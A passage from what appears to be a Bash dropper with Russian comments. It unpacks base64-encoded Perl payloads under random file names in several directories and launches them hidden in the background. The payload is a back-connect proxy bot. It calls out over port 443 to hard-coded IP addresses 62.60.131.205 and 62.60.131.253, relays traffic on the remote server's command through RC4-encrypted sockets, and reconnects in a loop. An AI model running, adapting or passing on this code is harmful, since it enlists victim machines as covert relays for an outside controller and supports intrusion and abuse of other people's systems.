cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #58 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #58 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 59 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4yMDUnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #59 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #59 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 60 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4yNTMnOwpteSAkcG9ydCA9 